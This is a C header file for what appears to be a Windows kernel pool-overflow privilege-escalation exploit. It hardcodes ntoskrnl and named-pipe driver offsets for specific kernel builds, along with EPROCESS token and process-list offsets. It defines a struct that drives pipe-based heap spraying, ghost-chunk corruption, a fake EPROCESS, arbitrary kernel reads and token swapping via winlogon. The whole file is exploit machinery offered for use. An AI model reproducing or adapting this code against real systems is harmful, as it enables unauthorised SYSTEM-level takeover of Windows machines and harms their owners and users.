#ifndef EXPLOIT_H
#define EXPLOIT_H

#include "pipe_utils.h"

/**
 * NTOSKRNL offsets hardcoded for ntoskrnl.exe with md5 799bb250b1ca24825186bf91f91756cd
**/











/*
 
#define NPFS_NPFSDCREATE_OFFSET 0xB670
#define NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET 0x7050
#define NT_ALLOCATEPOOLWITHTAG_OFFSET 0x36F010
#define NT_POOLQUOTACOOKIE_OFFSET 0x5748D0
#define NT_RTLPHPHEAPGLOBALS_OFFSET 0x438780
#define NT_PSINITIALSYSTEMPROCESS_OFFSET 0x5743A0
*/
//default

#define NPFS_NPFSDCREATE_OFFSET_DEFAULT 0xb540
#define NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT 0x7050
#define NT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT 0x9b1030
#define NT_POOLQUOTACOOKIE_OFFSET_DEFAULT 0xcfc9d0
#define NT_RTLPHPHEAPGLOBALS_OFFSET_DEFAULT 0xc1dd60
#define NT_PSINITIALSYSTEMPROCESS_OFFSET_DEFAULT 0xcfc420
#define EPROCESS_PROCESSQUOTAUSAGE_DEFAULT 0x470
#define EPROCESS_PROCESSQUOTAPEAK_DEFAULT 0x480
#define EPROCESS_QUOTABLOCK_DEFAULT 0x568
#define ACTIVEPROCESSLINKS_OFF_DEFAULT 0x448
#define IMAGEFILENAME_OFF_DEFAULT 0x5a8
#define EPROCESS_TOKEN_DEFAULT 0x4b8
/**
 * NTOSKRNL offsets hardcoded for ntoskrnl.exe with md5 a45aaeef8e2fc6f0be3f91bae7764fcb
 * Only ExpPoolQuotaCookie differs
**/
// #define NT_POOLQUOTACOOKIE_OFFSET 0x5748C8 




#define ROOT_PIPE_ATTRIBUTE_OFFSET      0x140
#define ROOT_PIPE_QUEUE_ENTRY_OFFSET    0x48
#define FILE_OBJECT_OFFSET              0x30

#define POOL_HEADER_SIZE 0x10


//#define FAKE_EPROCESS_SIZE 0x540
#define FAKE_EPROCESS_SIZE 0xa20
#define FAKE_EPROCESS_OFFSET 0x50


// How much we go backward for the ghost chunk

// how many chunks are sprayed
#define SPRAY_SIZE          0x80

enum pool_backend {
    LFH,
    VS
};

typedef struct xploit_s
{
    spray_type_t spray_type;
    unsigned long expected_tag;
    int targeted_pooltype;

    size_t offset_to_pool_header;

    enum pool_backend backend;

    pipe_spray_t * ghosts;
    pipe_spray_t * respray;
    pipe_spray_t * rewrite;
    pipe_spray_t * final_write;
    pipe_spray_t * final_write2;
    pipe_spray_t * lookaside1;
    pipe_spray_t * lookaside2;

    // Size of the realloc in the lookaside list WITHOUT the size of the
    // POOL_HEADER (the allocation will be +0x10)
    size_t ghost_chunk_size;

    // Size of the vulnerable chunk that overflows WITHOUT the size of the
    // POOL_HEADER (the allocation will be +0x10)
    size_t targeted_vuln_size;

    size_t struct_header_size;
    size_t ghost_chunk_offset;
    size_t backward_step;

    pipe_attribute_t * fake_pipe_attribute;
    pipe_queue_entry_sub_t * fake_pipe_queue_sub;
    size_t current_pipe_offset;

    size_t leak_offset;
    size_t leaking_pipe_idx;
    size_t ghost_idx;

    uintptr_t leak_root_attribute;
    uintptr_t leak_root_queue;


    uintptr_t leak_attribute_name;

    uintptr_t ghost_chunk;

    uintptr_t kernel_base;

    uintptr_t ExpPoolQuotaCookie;
    uintptr_t RtlpHpHeapGlobals;
    uintptr_t VSSubSegmentAddr;

    uintptr_t self_eprocess;
    uintptr_t self_token;

    uintptr_t fake_eprocess;

    size_t winlogon_pid;

    int         (*get_leak)(struct xploit_s *, pipe_spray_t * );
    void        (*setup_ghost_overwrite)(struct xploit_s * , char *);
    void        (*alloc_ghost_chunk)(struct xploit_s * , char * );
    void        (*alloc_fake_eprocess)(struct xploit_s * xploit, char * fake_eprocess_buf);
    void        (*exploit_arbitrary_read)(struct xploit_s * xploit, uintptr_t where, char * out, size_t size);
    void        (*free_ghost_chunk)(struct xploit_s* xploit);
    void        (*setup_final_write)(struct xploit_s* xploit, char * buffer);
    uintptr_t   (*find_file_object)(struct xploit_s * xploit);

    uintptr_t npfs_npfsdcreate_offset;
    uintptr_t npfs_got_allocatepoolwithtag_offset;
    uintptr_t nt_allocatepoolwithtag_offset;
    uintptr_t nt_poolquotacookie_offset;
    uintptr_t nt_rtlphpheapglobals_offset;
    uintptr_t nt_psinitialsystemprocess_offset;
    uintptr_t eprocess_processquotausage;
    //uintptr_t eprocess_processquotapeak;
    uintptr_t eprocess_quotablock;
    uintptr_t activeprocesslinks_off;
    uintptr_t imagefilename_off;
    uintptr_t eprocess_token;

} xploit_t;
#ifdef __cplusplus
extern "C" {
    boolean config(xploit_t* xploit);
    boolean config_default(xploit_t* xploit);
    int CreateNewProcess(const wchar_t* session);
    int SwapProccess();
}
#else
boolean config(xploit_t* xploit);
boolean config_default(xploit_t* xploit);
int CreateNewProcess(const wchar_t* session);
int SwapProccess();
#endif

#endif 

